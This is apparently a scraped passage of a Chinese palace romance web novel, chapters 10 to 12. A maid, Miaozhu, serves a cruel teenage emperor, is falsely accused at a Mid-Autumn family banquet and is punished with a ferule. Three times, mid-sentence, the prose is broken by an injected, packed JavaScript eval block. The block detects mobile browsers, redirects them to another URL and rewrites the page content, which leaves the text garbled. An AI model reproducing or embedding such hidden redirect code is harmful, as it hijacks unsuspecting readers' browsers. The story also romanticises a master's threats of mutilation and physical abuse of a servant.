手上的白帕上已经染得尽是血渍,她看着这条帕子,轻轻地叹出了口气。 那公子......瞧着光风霁月,是个极心善的人。 这帕子用料是上好的丝绸,即便是一条简单的帕子,却也尊贵,如此想来,那方才的公子应当也是哪位王公贵族。 不再想下去,她小心地将这条白帕子收拢到了袖口,打算回去后寻个法子将上头的血渍洗净。 只是,沾过血的帕子,再还给他也是不合适的。 那公子瞧着不像是缺这么条帕子的人,那她留下......留下也不是不行的。 妙珠往配房那边回,荣桃不在屋子里头,这个点应当是给陈怀衡准备消夜去了。 里头同她们住在一起的另外两个宫女倒是还在,本还在说话,见到妙珠回来后,便同她打了声招呼。 “回来啦,妙珠。” 妙珠阖了房门,笑吟吟地应了她们的话:“嗯,回来了。” 看这样子,她方才离开的时候应当是没发生什么事,妙珠悄然松了口气。 那两个宫女同她打过招呼后又继续聊起了方才的话题。 “方才他来的时候我正好瞧见了,生得是真好看啊,貌若潘安,玉树临风,果如传言所说那般。” 另外一人嘀嘀咕咕道:“都说协王殿下脾性好,瞧着确也比咱陛下好相与多了......” 说句实话,若是真论相貌,那这世上大致是找不出比陈怀衡还要好看的人了,然而,他实在是太过不近人情,凛冽到了旁人压根就无暇感叹其相貌的地步,相比之下,协王便显出不一样的味道了,高风峻节,却雨润可亲。 妙珠在一旁听着,猜出方才是协王来了乾清宫,听起二人描述,她竟无端地想起了方才那个公子,多嘴一问:“小萍,你们说的是协王殿下?今日可是穿着湛蓝长袍?” 小萍面露讶然之色,奇道:“你怎晓得?” 妙珠闻此,心中便了然了,方才在御花园拱桥上撞见的那人,正是协王。 想来明日中秋家宴,他便早一日入宫拜见了帝王。 他确实如传闻那般,是个很和善的人,即便面前的人站着的是个小宫女,却也耐性至极。 一点也不像是陈怀衡....... 妙珠不再想他,起身去了浴堂那边,净完身后把那条沾了血的白帕也洗了一遍,只是血渍难清,饶是再怎么搓洗,还是留个印子。 罢了,左右也还不回去的东西,往后再寻些法子去搓洗,总有法子能干净。 * 很快到了八月十五。 因着今日是中秋,乾清宫这处要办皇家家宴,妙珠和其他的宫女从午后那会便开始准备了,她担心到时候主子们用完晚膳后会去院子里头赏月,便精心又将主殿的后苑再重新了整理一遍。 八月中旬,天气也已经不如前些时段时日那样燥热,妙珠用过了午膳后就在后苑倒腾,将好有个小太监过来送新的盆栽,他见到妙珠在整理后苑,便也留下来一块帮忙。 这小太监面容白净,看着同妙珠年岁相仿,是专门负责花花草草的人,妙珠先前同他见过几回,都快混了脸熟。 现下这个时辰,陈怀衡应当在殿里头歇中觉,两人声音放得极轻,不敢发出太大的动静。 两人一边做活,一边小声聊着天,丝毫没有注意到里殿窗边站着的人。 陈怀衡神色阴沉地地看着院子那头的动静。 这段时日,他已经差不多找出了太皇太后安插在他身边的人,算上上次被赶走的那个,拢共四个。 他相信自己的判断,每日只要在处理公务之余,多看上那些宫女几眼,再让锦衣卫的人私底下跟踪她们的行踪,基本便确定那些老鼠是谁了。 至于院子里面的小蠢货。 太皇太后果然也没想着用她。 她这样的人,果真是谁用谁嫌。 比老鼠的胆子还要小些,她大抵也是没有那个胆子敢去背主的。 少女因着忙碌,面颊晕出一片潮红,憧憧日光之下,那张娇憨的脸上从始至终挂着一抹浅淡的笑,唇齿红白,略微宽松的衣服随着她的动作,紧紧地贴在了她的腰身之上,也不知是谁苛待了她还是怎地,腰细得一只手就能握住。不知道什么事叫她这么高兴,和身边的那个小太监一直有说有笑的。 陈怀衡嘴角挂着一抹讽刺,说什么诚惶诚恐唯陛下是可,然而赶走了的狗,从来都不知道主动回到主人身边。 妙珠在院子里头忙着弄花,脊背忽觉一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373755|168244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒凉,她似觉有人在盯着他们这处,她下意识抬头四望,不过,最后却也什么都没见得。 应当是错觉,她想。 总没有大白天就见鬼的道理。 小太监和妙珠一起忙完了这处,便同她道了别,离开了这里回去交差。 收拾好了这处的东西后,妙珠也总算是轻松了,便往着配房的方向回。 中秋这日,月亮升起的速度似乎都比往日要快,天才黑下来不久,月弯就已经冒出了头,半轮明月悬于夜幕,将露未露,似带着一股新娘蒙面的羞怯,差不多到了时候,殿内已经摆好了宴席,只待各位贵客的到来。 今日情况特殊,乾清宫大半的宫女都在里头服侍着,自然也包括妙珠。 卿云事前已经再三嘱咐过众人了,今天来的都是些贵人,切记不能出了什么差错。 很快,又不过半个时辰,人便到齐了。 来的都是些皇帝的至亲。 太皇太后、皇后、华宁、协王,另外两个尚未弱冠的皇子,以及一个和他同父不同母的妹妹。 协王出自皇贵妃膝下,而另外的两个皇子皆出自贤妃,至于那个和皇帝不同母的妹妹,是另外一个不起眼的妃子所生。 因着是家宴,众人也没分席而坐,摆了一张圆桌出来。皇帝无可置疑地坐在了主座,而太皇太后和太后分别坐于他的左右手,这样绕了一圈下来,反倒是陈怀霖距他最远,两人几乎是隔着一张桌子,面对着面。 当初先帝卧病在榻之际,膝下又无太子,而朝中有四个年岁相仿的皇子。 在这样的情形之下,朝局可想而知有多么诡谲,而在那个时候,最受众人所追捧的非是陈怀衡,反倒是陈怀霖。 几乎是所有人都会以为,陈怀霖最后会继承先帝的衣钵,登基为帝。 毕竟他出身皇贵妃,又是年岁最长的皇子,不仅如此,才十三岁的年纪,就已经展露出其卓越的才能。 然而,最后先帝遗诏一出,竟是立五皇子陈怀衡为帝。 众人虽吃惊,可最后也还是在太皇太后的主持之下,拥立了陈怀衡为王。 正是因着这么一层的干系,协王和皇帝之间的关系不可能不尴尬。 便是陈怀霖心中没有不甘,可是陈怀衡这样的人呢? 不过今日在场人众多,又有太皇太后在其中调节,倒也不会出些什么不好的事。 太皇太后对每一个子孙都一视同仁,不管是皇帝又或是亲王。 他们毕竟都是皇家血脉。 今日这等阵仗,是妙珠见过最大的阵仗,这么些贵胄,一下子全都聚在了这处。 协王进来之后,见到陈怀衡身边的妙珠,错愕片刻,似没想到这样巧,没有想到她竟是陈怀衡身边跟着的人,众人入座时,陈怀霖趁乱和妙珠撞了一面,他低声问她:“这般巧,你原是陛下身边的宫女?” 妙珠昨日便猜到了他的身份,也知今日或许会再见上,她慌慌忙忙点了个头,也不敢在这样的情况下和他多说什么,到时候叫陈怀衡听见,恐怕又说要把她拖出去拔舌头。 见妙珠不欲多言,陈怀霖自不多做纠缠,认过了面后,便也什么都不再说了。 没人注意到他们说了一句话,便是看到了也不会多想,然而,那两人之间的不寻常,被坐在对面的帝王尽收眼底。 他就在他们对面坐着,真真是想不看到都难。 11. 第十一章 今日家宴,皇帝没有什么话想说,任由太皇太后在一旁开起了头。 她先是叹了声:“许久没有这样坐到一处了。” 每回除了逢年过节,他们这样一大家人,是从不这样聚在一处的,对于上了年纪的太皇太后来说,逢此景,必多感慨。 太后附和着她:“是这样,皇上公务繁忙,咱一家也很少有机会能聚。” 太后对太皇太后还是些许敬重的,一则因为她是她的婆母,二则当初陈怀衡登基时,也是她在旁帮衬着。就连陈怀衡年少时候在文华殿的功课她也十分上心,祖母做成了这样,她这个做母亲的都快比不上,她又能有什么好说的呢。 接着就又是一顿不痛不痒的寒暄,只是后来,太皇太后又问起了陈怀衡近来关于修官道的事情。 “修官道的事情可曾和阁老们论好了?有结果了吗?” 对太皇太后,陈怀衡也仍旧是那个说法:“不急。” 他端着酒杯慢饮,看着没有说这件事的兴致。 太皇太后见此,眉眼轻敛,竟又看向了坐在对面的陈怀霖。 她问他道:“那乔砚呢,你有什么想法,都可以说给来皇上听听,有些话朝堂上不好说,现下都是自家人,你说出来也不打紧。” 乔砚是陈怀霖的字。 太后听了后,面色便淡下去了一些。 她最不喜欢太皇太后的地方便是这里。 太皇太后不只是对身为皇帝的陈怀衡好,对每一个亲王都这般一视同仁。只是在这种的时候,让陈怀霖说这些事情做什么?难道说了以后,他的儿子就必须要听了吗。 陈怀衡却不慎在意道:“既然皇祖母让说,皇兄便说吧。” 陈怀霖拱手,仍旧推脱:“今日家宴,皇祖母和陛下便别为难我了。” 一个祖母,一个陛下。 谁亲谁疏,听也听得出来。 他不愿说也正和陈怀衡的意,反正他说不说都那样。 陈怀霖知道的东西,他难道又不知道吗,说了也没多大用途。 陈怀衡拂了太皇太后的面子,径直道:“用膳吧,皇祖母,皇兄不想说。” 陈怀衡少年时候倒还肯听她的话,如今,越大越不服管。 他有自己的想法,不喜旁人管束于他。 他终究是皇帝,她这个做祖母的也不好驳斥了他。 此间陷入了冗长的沉寂,太皇太后再没说什么。 一行人用着饭,都心照不宣。 华宁因着上回的事情还闷闷不乐,她抄了十遍弟子规,手都快断了。因着陈怀衡后头留下的话,没有任何人能来帮她代笔。她若是使了性子不抄,陈怀衡竟就直接将她软禁在了屋子里头。 华宁没有办法,便是再不愿也要抄。 虽说罚了她的是陈怀衡,可她自然又巧妙地将这件事情怪罪到了妙珠头上。 她怪不得陈怀衡。 皇帝错不了,要错也是错在那个做奴婢的妙珠头上。 一定是因为那日妙珠她哭哭啼啼,惹了皇兄心疼,所以他才会来罚她! 小宫女生得确实是有些姿色,所以这倒也不是没有可能。 那边太皇太后不论公务,可却又不知怎地提起了选妃立后一事。 陈怀衡如今都十八了,早该开设后宫了,想当初他的父皇在十六岁的时候就已经生下了他的第一个孩子。 按理来说,陈怀衡早在两年前就该选妃了。 可或许是少帝所要忙的事情太多,这事就这样被一拖再拖,一直拖到了现在。 华宁的心思不在他们的身上,哪里管他们说什么选妃不选妃,她一直注意着旁的妙珠,寻到机会便拿着面前的杯盏,对她道:“来为我斟茶。” 妙珠在一旁服侍着,见华宁使唤她,也不曾多想,端了紫砂壶为她倒茶,可不知华宁又为何突然发作,这水倒得好好的,突然就尖叫着挥开了她的手。 茶水被挥洒出来,溅到了妙珠的手上,好在她拿得稳,没叫茶壶甩到了地上。 她错愕地看向华宁,似不知她为何会突然发了疯。 华宁道:“你这宫女怎笨手笨脚,倒个水全洒到了我的身上!” 妙珠没明白,她方才好好地替她倒着水,她自己忽然偏了水杯,而后就发了难。 她很快就想起,难道是因为上一次她挨了陈怀衡的罚,所以现在迁怒于她了吗? 听到她们这处的动静,众人的说话声也都停了。 妙珠想要解释,她道:“奴婢没有......” “没有?”华宁斥她,“你瞧瞧我的衣袖上,都是你倒的水。” 她又看陈怀衡他们,冲着他告状:“皇兄,你宫中的小宫女犯错了!” 这回可是那小宫女自己笨手笨脚犯了错。 她可没有作践她,更也没有作践陈怀衡。 听到华宁告状,妙珠下意识看向了陈怀衡。 这里头的人最不好相与的就是他了,不管今日她错没错,可是陈怀衡大概只会觉得她丢脸,只会觉得是她做错了。 陈怀衡也看向了妙珠,然而眼中却无甚情绪,妙珠叫他这样的眼神看得喉咙更堵,求饶的话都快说不出了。 陈怀衡把玩着手上的杯盏,不咸不淡开了口:“犯错了,那怎么办?既连茶壶都拿不稳,干脆手就不要了。” 妙珠腿脚发软,险些伏地而跪。 陈怀衡总是惦记着她的手啊眼啊的,每回总想要取走她身上的什么物件。 她本以为不侍奉在他的身边便好了,可不想华宁竟记恨上了她。 不记恨罚她的陈怀衡,竟记恨她...... 妙珠不跪华宁,马上走到了陈怀衡的面前,两腿啪嗒一弯,直挺挺地跪了下去,顶着他的视线,她什么话都说不出,到了最后也只是直视着地砖,试图为自己辩解:“陛下,奴婢没有。” 给华宁磕头是没用的,说话能算话的是陈怀衡。 出了这么一桩插曲,这顿饭是暂用不下去了。 陈怀衡冷嗤。 到现在倒是知道来跪他了。 “没有?可她说你有,你是让朕不信自己的妹妹,反倒来信你?” 他不相信自己的妹妹,难道要来相信她吗? 一句话把妙珠说得哑口无言。 这还是众人第一回见到这样的场景,太皇太后皱眉,对陈怀衡道:“皇帝,何必呢?不过是个宫女洒出了些水罢了,何须如此苛责。” 说到这里本就够了,可太皇太后想起他从前行径,总算找了个机会发难。她是他的皇祖母,现在皇帝在犯错,她应该提醒他。 她继续道:“为人帝者,止于仁,思国之安者,必积其德义,难道当初文华殿里头的老师们不曾教过你吗?皇帝,适可而止吧。” 这话听着倒是像模像样。 只是,这是在教训他,还是在规训他呢? 他那皇祖母心中在想些什么,陈怀衡怎么可能不知道。 若是连宫女下人都要去仁慈,那他还有什么能不去仁慈的。 他越仁慈,越是遵守什么仁啊礼啊的,他们那些人越好拿捏他。 当君父的,要仁慈,可年少登基的帝王,休要仁慈。 陈怀衡必须对这些保持绝对的敏锐。 没办法,领地就这么点大,你退一步,他们势必就要进一步。 他非但没有将太皇太后的劝告放在心上,甚至做出极其不合规矩礼数的动作,他翘起了二郎腿,云头玄履毫不留情地抬起了妙珠的下颌,迫她抬头仰视于他。 他看着妙珠,恶劣嗤笑,讥道:“一个婢女啊,朕将她抠心挖血、剜眼割舌,能如何?” 皇祖母,你能如何? 他杀了她手上的人难道还不多吗,现在还来管起他宫中的闲事了。 他这样的举动叫太皇太后面色铁青,当然,她气得不是他对一个宫女无礼,气得只是他全然将她的话当做了耳旁风,甚至还在做这样的事......来挑衅于她。 两人之间暗流涌动,可怜的妙珠却将陈怀衡的话当了真。 她被他的鞋履抵起了下颌,看向他的眼睛带着无尽的惶恐和逢迎。 那双莹润漂亮的杏眼就像是会说话似的,它在替她的主人说着:不要挖我的眼,不要掏我的心。 陛下,不要挖我的眼,不要掏走我的心啊。 这世上没有人会比眼前的这个宫女还要没脸没皮了。 骨气二字,在她面前,荡然全无。 陈怀衡看着妙珠卑颜屈膝,却勾起了笑。 他大概是弄清楚了,他厌烦眼前的宫女对别人讨好,在别人面前卑贱,可是,他又实在是享受她在他面前的卑贱。 小蠢货跪在他一个人面前就够了。 可即便看到她一如往常跪回到了跟前,心中的舒畅却丝毫没有让那冷酷的帝王心软的意思。 一旁陈怀霖实在有些看不下去他这样作践人,也忍不住出言道:“陛下,罪不至此......” 哦,陈怀衡差点忘记了。 几日不见,竟还和陈怀霖扯出了关系。 不老实,不忠心。 他不罚她,她便永远记不得自己的主子到底是谁。 陈怀衡往妙珠身上轻蹬了一脚,笑:“行啊,既一个两个的都为你求情,朕也不好不听全,滚下去先。” 妙珠被他蹬得身形微晃,虽不知他的处置是什么,不过没听到他让人来拖她去砍手,便知自己的两只手大抵是保住了,她不敢继续留在这里,起了身往外去了,等候属于她的处置。 她去了乾清宫的后苑等着,里面的一切和她隔绝开来,全然无关,她不知道里面什么时候能结束,也不知道过了一会陈怀衡又会如何罚她。 到了中秋,夜晚的风总算是凉快起来了,院子里头的花草是她白日里头亲手摆放的,整整齐齐,竞相开放,空中的月亮已经肥成了一个大圈,光辉布泽人间万物,却好像是独独漏了躲在檐下的妙珠。 明月照万物,独独不照她。 向来如此。 自从小妹死后,妙珠就再没主动去过中秋了。 今日一人坐于檐下,看着头上的圆月,竟不知怎地,忽想起了傻子娘和那早夭的小妹。 小妹就比她小一岁,也是生出来便没有爹的倒霉孩子。 小妹没有和母亲一样生蠢病,她生得极机灵,两岁不到的时候就会呀呀呀地喊爹喊娘,只是一喊了爹,外祖就恼火。 没有爹的累赘东西,喊老舍子爹,他想打小妹的嘴巴,总是会被大一点点的妙珠摇摇晃晃挡下来。 小妹七岁那年的中秋夜,从外头跑回家,不晓得她是从哪里弄来的月饼,高高兴兴地掏出来塞给妙珠。 七岁的小豆丁,竟还学会偷东西了。 妙珠悄悄地带着小妹去寻了母亲,母亲方在屋子里头和男人睡完觉,男人提了裤子就走人,只留下母亲半死不活地躺在床上。 她拿着小妹偷来的那块月饼,一点一点地掰开往母亲嘴巴里头塞,母亲乖乖地吃着,蠕动着干涩地红唇,吃着那粗劣的月饼。 就那么一小块的月饼,还没妙珠的手掌大呢。 母亲吃了一半,妙珠便开始喂小妹,小妹吃了剩下的一小半,又推着妙珠吃。 “阿姐,你也吃呀。” 妙珠小心翼翼地抿着那一丁点大的糕点,很好吃,是她吃过最好吃的糕点了。 吃完了月饼后,妙珠抱着小妹坐到了床上,她们拉着母亲,趴在窗户边看圆月。 三个脑袋凑在一起,往着天上看。 “阿姐,为什么今日的月亮会这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373756|168244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样圆?” 妙珠说:“我也不知道。” “那阿姐,为什么大家都说中秋的时候,一家人要在一起?” 妙珠说:“我也不知道。” 妙珠一问三不知,小妹便啃着手指头不说话了。 就这样看着看着,母亲又发了疯病,开始打起了她们。 妙珠怨恨母亲的巴掌,就像怨恨外祖的拳头和咒骂一样,她心疼小妹,就像是心疼那个从来没有人能护着的自己一样。 小妹比她幸运一些,她还有她,妙珠为她挡下了所有的拳头和怒火。 可是,小妹还是不大幸运,不然也不会那么早就死了。 她不敢再看那皎洁的月亮,坐在阶上,头埋进了膝弯。 或许是以前的日子本就不大好过,以至于如今在陈怀衡身边,她竟都能忍受。 他是帝王,有些脾气那很正常,她是奴婢,没有脾气更是正常。 其他的奴婢也是妙珠这样吗? 应当也是吧。 因着后来出了那事,这场家宴最后还是没能愉快地结束,太皇太后说着头疼,直接离了席面,陈怀霖说是跟去看顾皇祖母,也跟着一块离开,至于其他的人,见陈怀衡心情不大好的样子,也没敢继续留,陆陆续续跟着散了。 孝端太后是最后离开的。 陈怀衡留她说了话。 他说,过些时日会给华宁找教养嬷嬷过去。 太后语塞,知道他这是为方才的事情不满。 皇帝宫中的人便是训斥也只能由着他来,若是其他人做了些什么手脚,那便是没有规矩,不仅仅是华宁不行,她不行,太皇太后都不行。 陈怀衡向来是有主意的,不过,登基前也并非如此,相反,那个时候的陈怀衡,就和面团一样,平平无实,任人揉捏。 可到底现在是做了皇帝的人,总也不能和从前相提并论。 太后对此没说什么,她对陈怀衡也说不出不满与责备。 所有人都离开这里之后,陈怀衡倒也没忘记那个小蠢货。 他今夜饮了酒,金浆玉醴在脑中发酵,周遭寂静,思绪也主动地被他放得迟缓。 卿云上前,扶着陈怀衡就要起身去休息。 他早点歇下,便也想不起今夜那个犯了错的小宫女。 “人呢?”陈怀衡先行问道。 卿云知道他这是在问妙珠,知还是躲不开了。 “在后苑等您发落呢。”卿云问,“奴婢去喊她来?” 陈怀衡没说话,竟亲自起了身。 卿云马上跟了上去。 她不敢说些什么为妙珠求情的话,毕竟方才太皇太后那般说都没用,若是她说,只怕也得跟着连累。 她切实心疼倒霉的妙珠,然而,这一切也都在明哲保身之下。 况且,她看出了些许不对劲之处。 皇上对妙珠......好像有那么些不一样的地方。 可哪里不一样,她又说不出来。 不敢妄自揣测帝王的心理,她最后还是将那种微妙的想法藏于心底。 陈怀衡去往了后苑,却四处见不得那个小蠢货的身影,低头一看,原来人是坐在了那石阶那里。 她抱着腿,脑袋埋在腿弯中,整个人快缩成了一小团,不知道是不是等累了,躲在那里睡觉去了。 她倒是会给自己躲懒。 陈怀衡走到了妙珠的身后,往她的背上踢了一脚。 妙珠察觉到了背上的动静,像是有什么东西蹭过,轻轻的,她马上抬头看去,就见陈怀衡站在她的身后,面无表情地看着她。 她没想到里头的宴席竟就这么快结束,也没想到陈怀衡竟亲自来了后苑这处,她如临大敌,马上跪向了他。 “请陛下......责罚。” 他现在来,应当就是来同她算方才的账。 月光如练,硕大的圆月合着廊下的灯笼,将万物照得都那样清晰,不知是不是陈怀衡的错觉,竟见妙珠的额上似乎浸满了汗珠,一些稀碎的头发都黏在了额间。 这样的天,还出了这样多的汗,这是大概是惶恐害怕到了极致。 陈怀衡竟蹲下了身。 他难得以这样的角度平视于人。 “害怕?” 他在问她,是不是因为害怕,所以才出了这样多的冷汗。 她的脸难得离他这样近,他竟然都能看清楚她脸上那些细腻的绒毛,就像是生在粉嫩桃子上的绒毛。 他方才饮过酒,身上还带着轻微的酒气,不过上等佳酿的味道杂着他身上的龙涎香竟也出奇地不难闻。 从他口中吐出的两个字,比平日低磁了许多,少了寻常时候的凌厉。 妙珠错愕地看着眼前的陈怀衡,似乎是惊讶于他这样出奇的举动。 害怕吗? 在今夜之前,妙珠也觉自己日日被恐惧折磨,被陈怀衡的压迫折磨得身心俱疲,然而方才惊觉,对他的害怕恐惧,竟远不如那些记忆折磨人。 她缩于后苑,还顾不上害怕,就已经被那轮圆月残忍地夺了情。 想起母亲,想起小妹,额间的冷汗顷刻之间如水一般盗了下来。 他问她,害怕吗? 那也是怕的。 他一出现,迟到的恐惧重新上了门。 妙珠的眼睛很干净,干净得没有杂质,可是这双干净的眼睛,现在却涌上了那堪称复杂的情绪。 摸不清,道不明的。 陈怀衡哪里知道她在想些什么,他只当她是真的怕他到了极致。 “啧,你真没良心啊,竟怕朕怕成这样。你说说看,朕每次说扒皮挖眼,哪一次又真要了你身上的什么物件。” 他难道对她还不够仁慈吗? 他甚至都觉得自己有些诡异的仁慈了。 12. 第十二章 陈怀衡就只是单纯得看不上妙珠的胆小,所以才会多嘴问了这么一句而已。 他也并没有想要得到她的回答。 待到说完了这话之后,陈怀衡便起了身,往殿内去。 妙珠被陈怀衡那句话说得莫名,可她细思过后却又惊恐地发现,她竟觉得陈怀衡说得好像不无道理。 他总是说要将她砍手剜眼,可是,到头来,从没实践过。 妙珠不敢再想,再想下去怕自己也要吐露出“陛下仁慈”四字。见陈怀衡起了身往里去,便也跟了上去。 待到进了里殿后,陈怀衡径直走向了净室,卿云候在一边,见他是要净身,便道:“御池里头早为陛下备好了水。” 今日中秋陈怀衡饮过酒,应当是要早些歇息的,净室内一直给他备着温水。 妙珠也跟进了净室,卿云见她一直在旁傻愣着,便推她上前:“你好好伺候着陛下,我去收拾外间的残局。” 陈怀衡如今这样,摆明了是要妙珠留下伺候的,卿云本来还想让她好好表现,说不准便不用挨罚了,可碍于陈怀衡在,最后还是不敢多说些什么,退了出去。 妙珠得了卿云的吩咐,也不曾踟蹰犹豫,上前道:“陛下,奴婢来服侍您吧。” 以前她也是服侍过他的。 妙珠为他褪去了外裳、中衣,下头的中裤倒是不假她手...... 那样容易擦枪走火。 陈怀衡浸入了浴池之中,大半的身躯隐在水中,室中烛火熹微,大致看不清情形。 氤氲水汽中,陈怀衡双臂伸展,自然随意地搭在御池两侧,上半身展露出的身躯,竟非羸弱,才十八的年岁,身形却已生得精壮有力,帝王平日照不到日光,身上的肌肤一片冷白,依稀能见得其下的跃动的青筋。紧实高大的身躯却又不如武将那般雄壮,带着一股养尊处优的斯文。 他十六岁的时候,曾经还亲自领军去过北疆。 那是快两年之前的事了,也正是因为那次,他在朝中渐渐站稳住了自己的脚步。 他小的时候习过武,后来从北疆回来后,又忙于其余的政务,便也渐渐废弛了那些。 毕竟现在习武对陈怀衡没有什么用处,没有用处的事情他便懒得去做。 妙珠在一旁尽心服侍着他。 她捋起了自己的衣袖,露出两截如雪碧藕,她传她母亲的血,同样生得极白,饶是怎么晒都晒不黑,她的手臂从前也和母亲一样,遍布着青紫,那是挨了打的痕迹,可是来了宫里头之后,那些难看的痕迹便消失不见了。 陈怀衡的身上根本就没有什么好洗的,他很干净,现下净个身,也只是为了散散酒气,不过饶是如此,妙珠还是做得尽心尽力。 她的脸颊也被热气氤氲得泛了红,眉眼间染上了湿气。 就在这时,本闭目养神的陈怀衡忽然出了声。 “说说,怎么和协王扯上了干系。” 净室只有随着妙珠动作而发出的哗啦水声,此话一出,妙珠手上的动作顿了片刻,此间陷入了一片长久的寂静。 协王...... 妙珠想起那个光风霁月的协王殿下,嘴唇被咬得发白,竟不知该如何作答。 陈怀衡察觉到了妙珠的沉默,兀地睁开了眼。 他的眸色很深,在昏暗的净室中,如鹰隼一般刺向了她。 “怎么,这般难以启齿?” 不是难以启齿,只是妙珠知道,若是说出了那事,陈怀衡便该知道自己回过司衣司了。 他上次说过,不叫自己回去的。 可是,陈怀衡又不喜欢旁人欺瞒于他。 一番权衡利弊之后,妙珠还是选择迎着他的视线说了实话。 “奴婢昨日回了司衣司,回来的路上,将好就撞见了协王殿下,殿下今日见奴婢在乾清宫,或许也是觉着凑巧,便多问了一嘴。” 陈怀衡好像没有追究她偷偷跑回去的事情,反问道:“只是这样?” “只是这样,奴婢决计没有作谎。” 陈怀衡也不知是信还是没信,后面便不再说话了。 他净过身后,身上的酒气已经散了个干净,妙珠服侍着他出了净室,他一身洁白中衣,坐到了龙榻之上。 殿内烛火如豆,他坐在榻边,中衣垂落在身上,修饰着挺拔的身形,那双黑色的眸子似熠着光,分明是慵懒随性的时候,无形之中却也透着睥睨天下之气。 妙珠本以为他已经将罚自己的事情忘记,可谁知道,他转头就让卿云去拿了把戒尺来。 妙珠从净室里头出来,脸上还有未消散的红气,看到卿云拿来的戒尺,脸色一瞬间变得又红又白。 陈怀衡马上知她心中所想,顿觉好笑:“你不会以为朕忘记了吧?” 她大概以为自己是已经忘了这一茬了。 傻宫女,小蠢货。 这次他一定是要她长些记性的。 妙珠看到戒尺,便已经猜到了陈怀衡对她的惩罚,这已经比她料想中的好上很多了。 人心不足蛇吞象,保住了手,却连疼都不愿意受。 这样是不行的。 妙珠老实地伸出了自己的掌心,将自己的两只手掌都递送到了陈怀衡的面前。 她分明为此害怕颤抖,却又不得不迎难而上,这让帝王似乎是寻到了什么极有趣的事。 他不急于施戒于她,细长白皙的手指拿着戒尺,不像是握着刑具,倒像是在把玩什么金贵的物件。 他看着妙珠递送过来的手掌,忽地开口道:“他是个好人,对吗?方才还为你说话了。” 妙珠知道他是在说谁。 他是个好人,对吗? 对妙珠来说,答案是显而易见的。 协王殿下比眼前的帝王良善太多。 陈怀衡阴晴不定至极,前一刻的时候或许还好好的同你说着话,下一刻说不准马上就能来砍了你的手脚。 就像是现在,妙珠敢肯定,若是她顺着他的话说下去,他一定会和她翻脸的。 即便逃不开挨打的宿命,妙珠还是想着少受一些疼。 “协王殿下没有陛下好,陛下是神仙,是九五之尊,是主子万岁爷,是普天下最厉害的人。” 这是裴嬷嬷教她的话,她牢牢地背在了心中。 因为他是她的天,所以,他做什么都是可以的,不管他做什么,她都是要接受的。 只要记得这句话,便不那么怨恨他,更不怨恨自己。 她说这话时,眼中竟带着自己都不曾察觉到的虔诚与恭敬,这句话就像是真心实意从她口中说出来的那样,她的心中,似乎也是这般想着。 “说得比唱得好听。”陈怀衡看着她出奇地沉默片刻,然而,还是没那么轻易就被其蒙骗,“朕要你侍奉在身侧的时候,你又在何处躲懒?每回都要旁人提醒你才肯动动那惫懒的身子,若是没人说,便是彻底不肯动了。” 妙珠有些不明白的他的意思,听着陈怀衡的话,越发觉得他像是无礼地给她安了罪名。 她哪里敢在他面前偷懒,何至于此? 不过,她也早已习惯陈怀衡的无理取闹,她认识不到自己的错误,更明白不了陈怀衡心中介怀的是什么,她塌了肩,认了命:“陛下说的是,陛下责罚。” 她大概是觉着,一道戒尺,不会比人的拳头、巴掌更疼。 看出妙珠的破罐子破摔,陈怀衡兀地从喉中溢出了一声冷笑,手上的戒尺猝不及防落在了她的掌心。 他下手很重,戒尺敲在人的手上就像能把人的骨头连着筋一块打断了似的,妙珠一时不察,口中发出一声痛苦的低吟,反应过来后,忙收住了嘴,不敢再发出一丝声响。 陈怀衡只落了一板,妙珠便觉手要断了,她颤着手不敢瑟缩,不知陈怀衡最后会罚她多少板。 “朕最后再给你一次机会,若是说得出来自己错在何处,朕便饶了你。” “否则,不用刽子手,戒尺也能叫你断手。” 妙珠丝毫不怀疑陈怀衡口中所说的真假,就仅仅一下,她的掌心就火辣辣的疼。 不出十下,筋骨就能跟着一块断了。 可是,她错在哪里了?她极力去回想方才陈怀衡说得那些话。 他嫌弃她惫懒。 嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373757|168244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃别人不叫她,她就不服侍他...... 这在妙珠听来显然是像欲加之罪何患无辞,可是,她得细细品出陈怀衡话中的意思,让自己少挨顿打。 她眉头紧紧皱着,思索着自己犯下的过错,陈怀衡给她时间,毕竟这事关她的双手,他在这方面倒是大度得可怕。 妙珠冷汗涔涔,在恐惧面前,脑海忽然灵光地想明白了什么。 她看着陈怀衡,试探性地问道:“是奴婢惫懒,前些时日没能跟在陛下身前服侍吗?” 他的话,只能是这个意思了。 这怎么能怪罪她呢?分明是他先来嫌她丢脸的,他将她遣走,她难道还要不知死活地往他跟前凑吗? 她见陈怀衡没有反驳,眼中也瞧不出不满,便知自己应当是猜对了。 